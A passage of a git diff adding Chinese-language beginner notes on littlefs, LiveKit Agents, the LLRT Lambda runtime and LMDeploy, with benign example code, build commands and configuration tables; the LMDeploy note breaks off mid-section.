+ metadata pair      CTZ 文件树
+ (目录/元数据 log)    (COW 数据块)
+    │                   │
+    └─────────┬─────────┘
+              ▼
+      块分配器 (wear leveling)
+              │
+              ▼
+   read / prog / erase / sync  ← 你实现的驱动
+              │
+              ▼
+        SPI Flash / 片内 Flash
+```
+
+## 实践案例
+
+### 案例 1：官方 boot_count——断电安全的计数器
+
+README 里的经典例子：每次启动读 `boot_count` 文件，+1 写回。任意时刻断电，文件系统仍一致，计数最多少加一次：
+
+```c
+#include "lfs.h"
+
+lfs_t lfs;
+lfs_file_t file;
+
+const struct lfs_config cfg = {
+    .read  = user_provided_block_device_read,
+    .prog  = user_provided_block_device_prog,
+    .erase = user_provided_block_device_erase,
+    .sync  = user_provided_block_device_sync,
+    .read_size = 16,
+    .prog_size = 16,
+    .block_size = 4096,
+    .block_count = 128,
+    .cache_size = 16,
+    .lookahead_size = 16,
+    .block_cycles = 500,
+};
+
+int main(void) {
+    int err = lfs_mount(&lfs, &cfg);
+    if (err) {
+        lfs_format(&lfs, &cfg);
+        lfs_mount(&lfs, &cfg);
+    }
+
+    uint32_t boot_count = 0;
+    lfs_file_open(&lfs, &file, "boot_count", LFS_O_RDWR | LFS_O_CREAT);
+    lfs_file_read(&lfs, &file, &boot_count, sizeof(boot_count));
+
+    boot_count += 1;
+    lfs_file_rewind(&lfs, &file);
+    lfs_file_write(&lfs, &file, &boot_count, sizeof(boot_count));
+
+    /* 必须 close 成功，变更才真正提交 */
+    lfs_file_close(&lfs, &file);
+    lfs_unmount(&lfs);
+
+    printf("boot_count: %u\n", boot_count);
+}
+```
+
+要点：`mount` 失败先 `format`（仅首启）；**`close` 才是 commit 边界**；`block_cycles = 500` 开始参与磨损均衡。
+
+### 案例 2：最小块设备驱动 + 目录与配置写入
+
+下面用「RAM 模拟 Flash」展示驱动形状，以及创建 `/cfg/wifi.json` 的典型流程（真实项目里把 `bd_read` 等换成 SPI Flash HAL）：
+
+```c
+#include "lfs.h"
+#include <string.h>
+
+#define BLOCK_SIZE 4096
+#define BLOCK_COUNT 32
+static uint8_t flash[BLOCK_SIZE * BLOCK_COUNT];
+
+static int bd_read(const struct lfs_config *c, lfs_block_t block,
+                   lfs_off_t off, void *buffer, lfs_size_t size) {
+    memcpy(buffer, &flash[block * c->block_size + off], size);
+    return 0;
+}
+
+static int bd_prog(const struct lfs_config *c, lfs_block_t block,
+                   lfs_off_t off, const void *buffer, lfs_size_t size) {
+    /* 真实 Flash：只能把 1 变成 0，需按页 merge */
+    memcpy(&flash[block * c->block_size + off], buffer, size);
+    return 0;
+}
+
+static int bd_erase(const struct lfs_config *c, lfs_block_t block) {
+    memset(&flash[block * c->block_size], 0xFF, c->block_size);
+    return 0;
+}
+
+static int bd_sync(const struct lfs_config *c) {
+    (void)c;
+    return 0;
+}
+
+void app_fs_init(lfs_t *lfs, const struct lfs_config *cfg) {
+    if (lfs_mount(lfs, cfg)) {
+        lfs_format(lfs, cfg);
+        lfs_mount(lfs, cfg);
+    }
+}
+
+void app_save_wifi(lfs_t *lfs, const char *json) {
+    lfs_mkdir(lfs, "cfg");  /* 已存在则返回 LFS_ERR_EXIST，可忽略 */
+
+    lfs_file_t f;
+    lfs_file_open(lfs, &f, "cfg/wifi.json", LFS_O_WRONLY | LFS_O_CREAT | LFS_O_TRUNC);
+    lfs_file_write(lfs, &f, json, strlen(json));
+    lfs_file_close(lfs, &f);  /* 原子提交点 */
+}
+```
+
+`lfs_config` 里 `.context` 可传 SPI 句柄；`LFS_O_TRUNC` 截断旧文件；目录深度默认有限制（见 `lfs.h` 的 `LFS_NAME_MAX`）。
+
+### 案例 3：在 PC 上调试——FUSE 与镜像工具
+
+生态里的辅助项目：
+
+- **littlefs-fuse**：Linux 下把 littlefs 镜像挂成目录，用 `hexdump` / `diff` 查盘
+- **mklittlefs** / **littlefs-python**：在 CI 里生成要烧录的 `.bin` 镜像
+- **littlefs** 自带 `bd/lfs_emubd.h` + `make test`：在主机上用 TOML 用例跑断电模拟
+
+嵌入式团队常见工作流：主机生成镜像 → J-Link / esptool 写入 → 设备 `lfs_mount` 直接读。
+
+## 关键配置参数怎么调
+
+| 参数 | 含义 | 调大 | 调小 |
+|------|------|------|------|
+| `cache_size` | 读缓存 | 顺序读更快 | 省 RAM |
+| `lookahead_size` | 分配器位图窗口 | mount 更快、分配更准 | 省 RAM |
+| `block_cycles` | 每块最大 erase 次数 before 迁移 | 磨损更均匀、元数据搬迁更频 | 性能更好、磨损略不均 |
+| `block_count` | 分区总块数 | 更大容量 | 设 `0` 可从 superblock 自动探测 |
+
+`read_size` / `prog_size` **必须匹配芯片手册**——设错会导致驱动越界或 silent corruption。
+
+## 踩过的坑
+
+1. **忘了 `close` 就断电**：`write` 成功只表示进了 FS 缓存层，**commit 在 `close`/`sync`**。日志里「写成功但重启丢数据」多半是这里。
+
+2. **`sync` 是空实现但硬件有 cache**：SPI Flash 或 QSPI 控制器若内部缓冲，`sync` 必须 flush，否则 littlefs 的读回校验也救不了。
+
+3. **`prog` 必须遵守 Flash 语义**：NOR 只能 `1→0`，不能 `0→1` 除非先 `erase`。RAM 模拟可以偷懒；真芯片要在 `prog` 里做 read-modify-write 或按页合并。
+
+4. **首启 `format` 会清空分区**：`mount` 失败就 `format` 是官方示例模式；OTA 双分区时要**只对数据分区** format，别误擦固件槽。
+
+5. **与 SPIFFS 选型**：小容量、以 append 为主、文件数少，SPIFFS 有时更快；**文件数多、需要目录树、RAM 要硬上限**，littlefs 更合适。
+
+6. **多线程要开 `LFS_THREADSAFE`**：并在 `lfs_config` 提供 `lock`/`unlock`；默认单线程。
+
+7. **全分区擦除 ≠ `lfs_format`**：出厂擦除 Flash 后仍要 `lfs_format` 写 superblock；反之 `lfs_format` 不会帮你擦物理芯片上 FS 以外的区域。
+
+## 适用 vs 不适用
+
+**适用**：
+
+- MCU / MPU 上 SPI NOR、QSPI、片内 Flash 的用户数据区
+- 需要 **目录 + 配置文件 + 小日志**，且可能**突然断电**
+- RAM 预算固定（几 KB～几十 KB），不能接受 FS 随文件增多涨内存
+- 已有 RTOS（[[zephyr]]、FreeRTOS、Mbed）但需要标准 FS 层
+
+**不适用**：
+
+- 需要 mount 到 Windows/macOS 且不想装驱动——用 **FAT/exFAT**（[[ChaN FatFs]]）换即插即用，牺牲掉电安全
+- 大容量 eMMC + Linux——直接用 ext4 / f2fs
+- 纯键值、无路径——可能 [[sqlite]] 或嵌入式 KV 更简单
+- 需要完整 POSIX（mmap、硬链接、权限位）——littlefs 只覆盖子集
+
+## 和相近方案对比
+
+| 方案 | 掉电安全 | RAM | 磨损均衡 | PC 互读 |
+|------|----------|-----|----------|---------|
+| **littlefs** | 强（COW + metadata pair） | 有界 | 动态 | 需工具/FUSE |
+| SPIFFS | 强 | 随文件数增 | 静态 | 需工具 |
+| FatFs | 弱 | 小 | 无 | 原生 |
+| 裸 Flash 键值 | 看实现 | 最小 | 看实现 | 无 |
+
+## 历史与设计来源
+
+littlefs 最初是 ARM 工程师 **Christopher Haster（geky）** 的实验项目：在 MCU 约束下能否做出**不依赖无界 RAM** 的掉电安全 FS。设计文档 [DESIGN.md](https://github.com/littlefs-project/littlefs/blob/master/DESIGN.md) 和 on-disk 规范 [SPEC.md](https://github.com/littlefs-project/littlefs/blob/master/SPEC.md) 写得很透——metadata pair 来自 JFFS 思路，CTZ 结构参考了 ColaFS 等论文，整体是「**小 log 管元数据 + 大树管数据 + 统一分配器管磨损**」的分层蛋糕。
+
+## 延伸阅读
+
+- 官方仓库：[littlefs-project/littlefs](https://github.com/littlefs-project/littlefs)
+- API 注释：[lfs.h](https://github.com/littlefs-project/littlefs/blob/master/lfs.h)
+- 在 [[zephyr]] 中启用：`CONFIG_FILE_SYSTEM_LITTLEFS` + devicetree 分区
+- 对比 SPIFFS / Dhara / FatFs：见官方 README Related projects 一节
diff --git a/src/content/docs/projects/livekit-agents.md b/src/content/docs/projects/livekit-agents.md
new file mode 100644
index 000000000..235028c30
--- /dev/null
+++ b/src/content/docs/projects/livekit-agents.md
@@ -0,0 +1,248 @@
+---
+title: LiveKit Agents 零基础笔记
+来源: https://github.com/livekit/agents
+日期: 2026-06-13
+分类: 机器学习
+子分类: 数据科学与 AI
+provenance: pipeline-v3
+---
+
+# LiveKit Agents 零基础笔记
+
+## 一、它是什么？用日常类比理解
+
+想象你要开一家 24 小时语音客服中心。每个客户打进电话后，你需要一个"虚拟接待员"来：
+
+1. **听到**客户说的话（语音转文字 = STT）
+2. **理解**客户的意图并思考怎么回答（大语言模型 = LLM）
+3. **用语音**把回答说出来（文字转语音 = TTS）
+
+LiveKit Agents 就是一个帮你快速搭建这种"语音虚拟接待员"的 Python 框架。它帮你处理了所有复杂的实时通信、音频流传输、语音检测等底层工作，你只需要告诉它"你是一个什么样的助手"，它就能自动接入客户的语音流，完成听-想-说的完整循环。
+
+**类比：就像你搭积木。** 每个"积木块"负责一件事：
+- STT 积木 = 耳朵
+- LLM 积木 = 大脑
+- TTS 积木 = 嘴巴
+- VAD 积木 = 开关（判断对方什么时候说完话）
+
+LiveKit Agents 把这些积木组装起来，你只负责选积木和定义角色。
+
+## 二、核心概念
+
+### 1. Agent（智能体）
+
+Agent 就是你定义的"虚拟角色"。你给它一段 instructions（角色说明），它就按照这个设定和用户对话。
+
+```
+Agent = 角色设定 (instructions) + 可调用工具 (tools)
+```
+
+### 2. AgentSession（会话）
+
+Session 是 Agent 和真实用户之间的"对话桥梁"。它管理整个对话流程：
+
+```
+用户说话 → STT 转文字 → LLM 生成回复 → TTS 转语音 → 用户听到
+```
+
+Session 就是这条流水线的主控。
+
+### 3. Worker（工人）
+
+Worker 是一个长期运行的进程，负责监听新的对话请求，然后把每个请求分配给一个 Agent 实例处理。一个 Worker 可以管理多个 Agent。
+
+### 4. Room（房间）
+
+Room 是 LiveKit 里的"虚拟会议室"。用户加入 Room 后，Agent 也加入同一个 Room，双方就能实时语音交流。
+
+### 5. Pipeline（流水线）
+
+这是最关键的比喻。一个完整的语音 Agent 对话，经过以下流水线：
+
+```
+麦克风录音 → [VAD 检测说话] → [STT 转文字] → [LLM 思考] → [TTS 朗读] → 扬声器播放
+```
+
+每一步都是一个可替换的组件。你可以用 Deepgram 做 STT，OpenAI 做 LLM，Cartesia 做 TTS，彼此独立、自由组合。
+
+### 6. Plugin（插件）
+
+LiveKit 通过插件系统对接各类第三方服务。常用的插件包括：
+
+- **silero**：语音活动检测（VAD），判断用户是否还在说话
+- **deepgram** / **aws** / **baseten**：语音转文字（STT）
+- **openai** / **anthropic** / **aws**：大语言模型（LLM）
+- **cartesia** / **aws** / **baseten**：文字转语音（TTS）
+
+## 三、代码示例
+
+### 示例 1：最简单的语音助手
+
+这是一个最小可用的语音 Agent，使用了 LiveKit 的统一推理 API（Inference），一行代码就能接入不同的模型服务商。
+
+```python
+from dotenv import load_dotenv
+
+from livekit import agents
+from livekit.agents import Agent, AgentSession
+from livekit.plugins import openai
+
+load_dotenv()
+
+# 定义一个入口函数：当用户加入房间时被调用
+async def entrypoint(ctx: agents.JobContext):
+    # 先连接到 LiveKit 房间
+    await ctx.connect()
+
+    # 创建会话：用 OpenAI 的实时语音 API
+    session = AgentSession(
+        llm=openai.realtime.RealtimeModel(
+            voice="coral"  # 选择语音音色
+        )
+    )
+
+    # 启动会话，绑定角色设定
+    await session.start(
+        room=ctx.room,
+        agent=Agent(
+            instructions="You are a helpful voice AI assistant."
+        )
+    )
+
+    # 让 Agent 主动打招呼
+    await session.generate_reply(
+        instructions="Greet the user and offer your assistance."
+    )
+
+
+# 启动整个应用
+if __name__ == "__main__":
+    agents.cli.run_app(
+        agents.WorkerOptions(entrypoint_fnc=entrypoint)
+    )
+```
+
+**这段代码做了什么：**
+- `entrypoint` 是程序入口，当有人加入房间时触发
+- `AgentSession` 创建了对话流水线，这里只用了 LLM（OpenAI 的实时 API 自带 STT+TTS）
+- `Agent` 定义了角色："你是一个有帮助的语音助手"
+- `generate_reply` 让 Agent 主动开口打招呼
+
+### 示例 2：完整流水线 — 含天气查询工具
+
+这个示例展示了更真实的生产级 Agent：STT、LLM、TTS 分别接入不同服务商，并定义了一个自定义工具（查询天气）。
+
+```python
+from livekit.agents import (
+    Agent,
+    AgentSession,
+    JobContext,
+    RunContext,
+    cli,
+    function_tool,
+    inference,
+)
+from livekit.plugins import silero
+
+
+# 定义一个自定义工具：查询天气
+@function_tool
+async def lookup_weather(
+    context: RunContext,
+    location: str,
+):
+    """查询指定城市的天气信息"""
+    # 这里可以接真实 API，示例返回模拟数据
+    return {"weather": "晴朗", "temperature": 23}
+
+
+async def entrypoint(ctx: JobContext):
+    # 创建完整流水线：STT + LLM + TTS 分别指定服务商
+    session = AgentSession(
+        # VAD：检测用户何时说完话，打断 Agent
+        vad=silero.VAD.load(),
+
+        # STT：Deepgram 语音转文字（支持多语言）
+        stt=inference.STT("deepgram/nova-3", language="multi"),
+
+        # LLM：OpenAI 大语言模型
+        llm=inference.LLM("openai/gpt-4.1-mini"),
+
+        # TTS：Cartesia 文字转语音
+        tts=inference.TTS(
+            "cartesia/sonic-3",
+            voice="9626c31c-bec5-4cca-baa8-f8ba9e84c8bc"
+        ),
+    )
+
+    # 创建 Agent，附带角色设定和工具列表
+    agent = Agent(
+        instructions="You are a friendly voice assistant.",
+        tools=[lookup_weather],  # 注入天气查询工具
+    )
+
+    # 启动对话
+    await session.start(agent=agent, room=ctx.room)
+
+    # 让 Agent 主动问候
+    await session.generate_reply(
+        instructions="greet the user and ask about their day"
+    )
+
+
+if __name__ == "__main__":
+    cli.run_app(
+        agents.WorkerOptions(entrypoint_fnc=entrypoint)
+    )
+```
+
+**这个示例的关键点：**
+
+- `@function_tool` 装饰器把一个普通函数变成了 LLM 可以调用的"工具"。当用户问"北京天气怎么样"时，LLM 会自动识别意图并调用 `lookup_weather(location="北京")`，然后把结果组织成自然语言回答
+- `silero.VAD.load()` 加载语音活动检测模型，它会实时监听音频流，判断用户是否说完一句话。说完之后 LLM 才会开始思考，避免对话重叠
+- 每个组件（STT/LLM/TTS）都通过 `inference` 统一 API 接入，换服务商只需要改一行配置
+
+## 四、典型对话流程（一步步拆解）
+
+假设用户说："北京今天天气怎么样？"
+
+| 步骤 | 组件 | 发生的事 |
+|------|------|---------|
+| 1 | 麦克风 | 用户说话，音频实时传进来 |
+| 2 | VAD | 检测到用户在说话 → 开始记录 |
+| 3 | VAD | 检测到用户停止说话 → 触发 STT |
+| 4 | STT | 把音频转成文字："北京今天天气怎么样？" |
+| 5 | LLM | 理解问题，发现需要查天气 → 调用 `lookup_weather` 工具 |
+| 6 | 工具 | 返回 `{"weather": "晴朗", "temperature": 23}` |
+| 7 | LLM | 把工具结果组织成自然语言："北京今天晴朗，气温23度。有什么其他问题吗？" |
+| 8 | TTS | 把文字转成语音音频，播放给用户听 |
+| 9 | 扬声器 | 用户听到语音回答 |
+
+整个过程通常在 1-2 秒内完成，用户感觉像是在和一个真人实时通话。
+
+## 五、关键要点总结
+
+1. **LiveKit Agents 不是 AI 模型本身**，它是一个编排框架。它帮你把 STT、LLM、TTS 等组件串成一条流水线
+2. **每个组件都可以替换**。STT 可以用 Deepgram、AWS、Baseten 中的任意一个；LLM 可以用 OpenAI、Anthropic、AWS 等
+3. **`Agent` 定义角色**，`AgentSession` 管理对话，`Worker` 管理调度 — 三层抽象清晰分离
+4. **工具（function_tool）是扩展能力的关键**。通过装饰器把任何 Python 函数变成 LLM 可调用的工具，就能让 AI 访问外部数据
+5. **VAD 是语音对话的"开关"**。没有它，对话会重叠混乱；有了它，系统知道什么时候该听、什么时候该说
+6. **部署方式**：可以本地运行（`python myagent.py`），也可以 Docker 容器化部署到任意云平台
+
+## 六、安装命令（参考）
+
+```bash
+pip install livekit-agents
+pip install livekit-plugins-openai
+pip install livekit-plugins-silero
+pip install livekit-plugins-cartesia
+pip install livekit-plugins-deepgram
+```
+
+运行前需要设置环境变量（API Key）：
+
+```bash
+export LIVEKIT_API_KEY=your_key
+export LIVEKIT_API_URL=wss://your-server
+export OPENAI_API_KEY=sk-xxx
+```
diff --git a/src/content/docs/projects/llrt.md b/src/content/docs/projects/llrt.md
new file mode 100644
index 000000000..e76e82571
--- /dev/null
+++ b/src/content/docs/projects/llrt.md
@@ -0,0 +1,274 @@
+---
+title: LLRT — AWS Lambda 低延迟 JavaScript 运行时
+来源: https://github.com/awslabs/llrt
+日期: 2026-06-13
+子分类: 语言运行时
+分类: 编译器
+provenance: pipeline-v3
+---
+
+## 是什么
+
+**LLRT**（**L**ow **L**atency **R**un**t**ime）是 AWS Labs 开源的实验性 JavaScript 运行时，专为 **AWS Lambda** 上的 Serverless 函数设计。官方宣称相比 Node.js 20 等托管运行时，冷启动可快 **10 倍以上**，综合成本可低约 **2 倍**（尤其在 128–256 MB 内存档位）。
+
+日常类比：
+
+- **Node.js on Lambda** 像一辆**全尺寸 SUV**：V8 引擎、JIT 编译器、完整 Node API——功能全面，但每次「点火启动」都要热机，短程接送（几十毫秒就结束的 Lambda 调用）油耗不划算。
+- **LLRT** 像**电动滑板车**：只为「从 A 点到 B 点、立刻走人」设计——用 Rust 写外壳、QuickJS 做 JS 引擎、**故意不做 JIT**，把体积和启动时间压到极低；内置常用 AWS SDK 客户端，像车筐里预装了快递 App，不用再现场下载。
+- **它不是 Node 的替代品**，而是 Lambda 场景下的**专用跑车**：跑长途（CPU 密集、百万次循环）不如 SUV，但送外卖（鉴权、校验、调 DynamoDB、转 JSON）极快。
+
+> ⚠️ 截至 2026 年，LLRT 仍标记为 **experimental（实验性）**，API 与 bundle 形态可能变化，生产环境需充分压测与回退方案。
+
+## 为什么重要
+
+不理解 LLRT，下面这些 Serverless 现象就说不清：
+
+- **为什么 128 MB 的 Lambda 冷启动特别痛**——Init Duration 之外还有「把代码拷进沙箱」的时间；小内存 + 大 runtime 双重放大延迟
+- **为什么有人愿意放弃官方 `nodejs20.x` 托管运行时**——自定义 runtime + LLRT 用体积换启动，对 API 网关后面的短函数 ROI 很高
+- **为什么 bundler 要设 `--platform=browser`**——LLRT 的模块解析更接近浏览器/WinterTC，不是完整 Node 语义
+- **为什么 `@aws-sdk/client-dynamodb` 可以标成 external**——std-sdk / full-sdk bundle 里已把常用 SDK 编进可执行文件，不必再打进 zip
+- **为什么 middy、Powertools 可能跑不起来**——`node:stream`、`node:console` 等与 Node 仅部分兼容，生态 middleware 往往假设完整 Node
+
+## 核心概念
+
+### 1. Lambda 专用，而非通用 JS 运行时
+
+Node.js、Bun、Deno 面向浏览器、CLI、长期进程；LLRT **只关心 Lambda 沙箱里那几秒**：加载 handler → 调 AWS API → 返回。因此可以砍掉 JIT、HTTP 服务器、`cluster` 等 Lambda 用不到的模块。
+
+长期目标是 **WinterTC**（跨运行时 Web 标准 API 互操作），但明确 **不会** 实现全部 Node.js API。
+
+### 2. Rust + QuickJS：轻壳 + 轻引擎
+
+| 层次 | 技术 | 作用 |
+|------|------|------|
+| 宿主 / I/O | Rust + Tokio | 异步网络、TLS、与 Lambda Runtime API 通信 |
+| JS 引擎 | QuickJS | 解释执行 ES2023，无 JIT，启动快、内存小 |
+| Node 兼容层 | llrt_modules（Rust 实现） | 按需实现 `node:buffer`、`node:crypto`、`fetch` 等 |
+
+类比：QuickJS 是「袖珍柴油机」，Rust 是「车身和传动系统」——车身按 Lambda 货厢尺寸定制，不追求公路巡航极速。
+
+### 3. 无 JIT：用启动换吞吐
+
+JIT（Just-In-Time）在长时间运行后会优化热点代码，但**首次编译占 CPU、占内存、拉长冷启动**。Lambda 实例常常只活几秒，JIT 往往来不及回本。
+
+LLRT 选择**纯解释 + 原生扩展**（哈希、XML 等用 Rust 替代 JS 依赖），在短生命周期里更划算。副作用：大数组遍历、蒙特卡洛模拟等 **CPU 密集** 任务可能比 Node.js 慢。
+
+### 4. 三种 SDK Bundle
+
+发布物按是否内置 AWS SDK v3 客户端分档：
+
+| Bundle | 文件名后缀 | 适用场景 |
+|--------|------------|----------|
+| no-sdk | `*-no-sdk` | 不调 AWS API，纯计算/转换 |
+| std-sdk | 无后缀（默认） | DynamoDB、S3、SQS、STS、KMS 等常用客户端已内置 |
+| full-sdk | `*-full-sdk` | 需要 Athena、Bedrock、EKS 等长尾客户端 |
+
+内置 SDK 经过裁剪与原生加速（如 XML 解析、`llrt:xml`），`@aws-sdk/*` 在打包时应 **external**，避免重复打进 zip。
+
+### 5. 部署方式
+
+常见四种：
+
+1. **Custom Runtime (AL2023)**：zip 里放 `bootstrap`（LLRT 二进制）+ 你的 `handler.mjs`
+2. **Lambda Layer**：上传 `llrt-lambda-arm64.zip` 或 `llrt-lambda-x64.zip`
+3. **容器镜像**：`FROM busybox` + 下载 `llrt-container-arm64`，`CMD ["llrt"]`
+4. **IaC**：AWS SAM 示例、`cdk-lambda-llrt` Construct
+
+环境变量 `LAMBDA_HANDLER` 指向入口，例如 `app.handler`。
+
+### 6. 打包与依赖纪律
+
+官方强烈建议：**bundle + minify + tree-shake**，不要把完整 `node_modules` 丢进部署包。
+
+```bash
+# esbuild 典型命令（摘自官方 README）
+esbuild index.mjs \
+  --platform=browser \
+  --target=es2023 \
+  --format=esm \
+  --bundle \
+  --minify \
+  --external:@aws-sdk \
+  --external:@smithy
+```
+
+TypeScript **必须在部署前** 编译成 ES2023 JS——LLRT **不会** 在 Lambda 里现场 transpile。
+
+### 7. API 兼容矩阵（心智模型）
+
+- ✔︎ 较完整：`buffer`、`crypto`（部分）、`fetch`、`fs`（部分）、`path`、`url`、`zlib`（部分）
+- ✘ 或计划中：`http`/`https` 服务端、`cluster`、`worker_threads`、`node:test`
+- LLRT 专有：`llrt:xml`（可 alias 替换 `fast-xml-parser`）、`llrt:hex`、`llrt:timezone`
+
+迁移策略：先写单元测试 + `llrt test`，不通过再换回 Node 或改依赖。
+
+### 8. 适用与不适用场景
+
+**适合：**
+
+- API 鉴权、JWT 校验、请求体 schema 校验
+- EventBridge / SQS / SNS 事件的小型转换
+- DynamoDB / S3 读写为主的集成函数
+- 对冷启动敏感的同步 API（用户直接感到的首包延迟）
+
+**不适合：**
+
+- 大批量 JSON/CSV 解析、图像处理、复杂数值模拟
+- 深度依赖 middy、完整 `node:stream`、Prisma 等 Node 生态的栈
+- 需要 `node:http` 起监听端口的代码（Serverless 本也不该这么写）
+
+## 代码示例
+
+### 示例 1：DynamoDB 写入（std-sdk，ESM handler）
+
+下面函数假设使用 **std-sdk** bundle（内置 `@aws-sdk/client-dynamodb`），部署包只需你的业务代码 + `bootstrap`。
+
+```javascript
+// app.mjs — Lambda handler
+import { DynamoDBClient, PutItemCommand } from "@aws-sdk/client-dynamodb";
+import { marshall } from "@aws-sdk/util-dynamodb";
+
+const client = new DynamoDBClient({});
+const TABLE = process.env.TABLE_NAME ?? "items";
+
+export const handler = async (event) => {
+  const body = typeof event.body === "string" ? JSON.parse(event.body) : event;
+  const id = body.id ?? crypto.randomUUID();
+
+  await client.send(
+    new PutItemCommand({
+      TableName: TABLE,
+      Item: marshall({
+        id,
+        payload: body,
+        createdAt: new Date().toISOString(),
+      }),
+    })
+  );
+
+  return {
+    statusCode: 200,
+    headers: { "content-type": "application/json" },
+    body: JSON.stringify({ ok: true, id }),
+  };
+};
+```
+
+构建与打包要点：
+
+```bash
+esbuild app.mjs --bundle --minify --platform=browser --target=es2023 \
+  --format=esm --outfile=dist/app.mjs \
+  --external:@aws-sdk --external:@smithy
+
+# zip 结构（Custom Runtime）
+# ├── bootstrap          # LLRT 可执行文件，chmod +x
+# └── dist/app.mjs
+export LAMBDA_HANDLER=dist/app.handler
+```
+
+`crypto.randomUUID()` 走 Web Crypto / `node:crypto` 子集；若需 JWT，用 `jose` 等**已验证兼容**的纯 JS 库并打进 bundle。
+
+### 示例 2：S3 对象流式读取（内置 SDK + streaming）
+
+LLRT 0.9+ 支持 SDK 响应体流式消费，适合略大的对象而不一次性读入内存：
+
+```javascript
+// s3-head.mjs
+import { S3Client, GetObjectCommand } from "@aws-sdk/client-s3";
+
+const s3 = new S3Client({});
+
+export const handler = async (event) => {
+  const { bucket, key } = event;
+  const response = await s3.send(
+    new GetObjectCommand({ Bucket: bucket, Key: key })
+  );
+
+  // 方式 A：流式处理（适合行级 JSONL）
+  let lineCount = 0;
+  const decoder = new TextDecoder();
+  for await (const chunk of response.Body) {
+    const text = decoder.decode(chunk, { stream: true });
+    lineCount += (text.match(/\n/g) ?? []).length;
+  }
+
+  // 方式 B：一次性字符串（小文件）
+  // const text = await response.Body.transformToString();
+
+  return { lineCount, contentLength: response.ContentLength };
+};
+```
+
+若对象 XML 元数据解析是热点，可在 bundler 里 alias：
+
+```javascript
+// rollup.config.mjs 片段
+export default {
+  // ...
+  plugins: [
+    {
+      resolveId(source) {
+        if (source === "fast-xml-parser") return { id: "llrt:xml", external: true };
+        return null;
+      },
+    },
+  ],
+};
+```
+
+## 与 Node.js 20 on Lambda 对比
+
+| 维度 | Node.js 20 (托管) | LLRT |
+|------|-------------------|------|
+| 定位 | 通用 JS 运行时 | Lambda 专用 |
+| 引擎 | V8 + JIT | QuickJS，无 JIT |
+| 冷启动 | 较慢（尤其低内存） | 显著更快 |
+| CPU 长任务 | 强 | 弱 |
+| API 覆盖 | 完整 Node | 子集 + WinterTC 方向 |
+| AWS SDK | npm 安装 | 多客户端预置在二进制内 |
+| 运维 | AWS 维护版本 | 自行升级 layer/二进制 |
+| 成熟度 | 生产默认 | 实验性，需自测 |
+
+## 本地开发与测试
+
+仓库自带 **Jest 风格** 测试运行器：
+
+```bash
+# 扫描 **/*.test.mjs
+llrt test
+
+# 只跑文件名含 crypto 的测试
+llrt test crypto
+
+# 指定目录
+llrt test -d ./tests/unit
+```
+
+还可用 `make run` + `lambda-server.js` 模拟本地 Lambda 环境（需 AWS 凭证与 DynamoDB 表等资源）。
+
+常用环境变量（节选）：
+
+- `LLRT_GC_THRESHOLD_MB`：GC 触发阈值，默认 20 MB
+- `LLRT_SDK_CONNECTION_WARMUP=1`：init 阶段并行预热 TLS，减轻冷启动（默认开启）
+- `LLRT_NET_ALLOW` / `LLRT_NET_DENY`：网络访问白名单/黑名单
+
+## 学习路径建议
+
+1. **先会 Lambda + Node**：理解 handler、event/context、IAM、冷启动与 Init Duration 的区别
+2. **读官方 [Compatibility matrix](https://github.com/awslabs/llrt/blob/main/README.md#compatibility-matrix)**：确认你的依赖是否触碰未实现 API
+3. **用 esbuild 打一条最小 DynamoDB 函数**，128 MB ARM 与 Node 20 对比 P99 冷启动
+4. **给现有函数加 `llrt test`**，再考虑切 runtime；保留一键回退 Node 的 IaC 开关
+5. **关注 WinterTC 与 llrt_modules**：部分能力可脱离 LLRT 单独嵌入其他 QuickJS 项目
+
+## 延伸阅读
+
+- 官方仓库：[awslabs/llrt](https://github.com/awslabs/llrt)
+- API 明细：[API.md](https://github.com/awslabs/llrt/blob/main/API.md)
+- CDK 封装：[cdk-lambda-llrt](https://github.com/tmokmss/cdk-lambda-llrt)
+- 社区实测：Yan Cui《First impressions of the fastest JavaScript runtime for Lambda》
+- 同族轻量引擎笔记：本库 [QuickJS](./quickjs.md) —— LLRT 的 JS 引擎底座
+
+## 小结
+
+LLRT 把「Lambda 上跑 JavaScript」从通用运行时问题**收窄**成「短函数、快启动、多 AWS 调用」的专用问题：Rust 外壳、QuickJS 引擎、无 JIT、内置 SDK。它不是银弹，但在对的场景里能明显降低冷启动与账单；入门时记住三句话——**bundle 成 browser 目标、SDK 标 external、永远准备回退 Node**。
diff --git a/src/content/docs/projects/lmdeploy.md b/src/content/docs/projects/lmdeploy.md
new file mode 100644
index 000000000..45cd645da
--- /dev/null
+++ b/src/content/docs/projects/lmdeploy.md
@@ -0,0 +1,176 @@
+---
+title: LMDeploy — 大模型压缩、部署与推理工具包
+来源: https://github.com/InternLM/lmdeploy
+日期: 2026-06-13
+分类: 机器学习
+子分类: ai-infra
+provenance: pipeline-v3
+---
+
+# LMDeploy — 大模型压缩、部署与推理工具包
+
+## 一、从日常类比开始
+
+想象一下，你开了一家餐厅。
+
+厨房里有几位大厨（他们就是 **大语言模型**，比如 Llama、Qwen、InternLM）。每位大厨知识渊博，但他们工作有几个痛点：
+
+1. **做菜太慢** — 一位大厨同时只能做一道菜，顾客多了就排长队。
+2. **食材太贵** — 大厨需要巨大的厨房（显存/内存）才能施展。
+3. **人多管不过来** — 如果有多家分店，老板不知道把顾客分给哪个大厨。
+
+**LMDeploy 就像一套餐厅管理系统**，它做了三件事：
+
+- 让大厨同时做多道菜（**持续批处理**，persistent batch / continuous batching）
+- 把食材切得更薄、用更小的盘子装（**量化**，quantization，从 FP16 压到 INT4）
+- 当顾客太多时，自动分配到多台厨房（**分布式服务**，distribution server）
+
+这套系统由上海人工智能实验室的 InternLM 团队开发，前身是 MMDeploy（计算机视觉推理框架）团队。
+
+## 二、核心概念
+
+### 2.1 两种推理引擎
+
+LMDeploy 提供了两个推理引擎，各有侧重：
+
+| 引擎 | 特点 | 适合场景 |
+|------|------|----------|
+| **TurboMind** | C++ / CUDA 编写，追求极致性能 | 生产环境、高并发、低延迟 |
+| **PyTorchEngine** | 纯 Python 编写，开发门槛低 | 快速实验、新模型验证 |
+
+TurboMind 是 LMDeploy 的核心杀手锏。它用了很多底层优化技巧，让推理速度比 vLLM（另一个著名推理框架）快 1.8 倍。
+
+### 2.2 关键优化技术
+
+理解这几个概念，就理解了 LMDeploy 为什么快：
+
+- **Persistent Batch（持续批处理）**：普通推理是一次处理一个请求，做完才接下一个。持续批处理允许在同一批中同时处理多个请求，做到"边做边接"，像传送带一样不停运转。
+
+- **KV Cache（键值缓存）**：大模型每次生成新词时，都会重复计算前面所有词的 "KV 值"。KV Cache 把这些算好的值存起来，避免重复劳动。
+
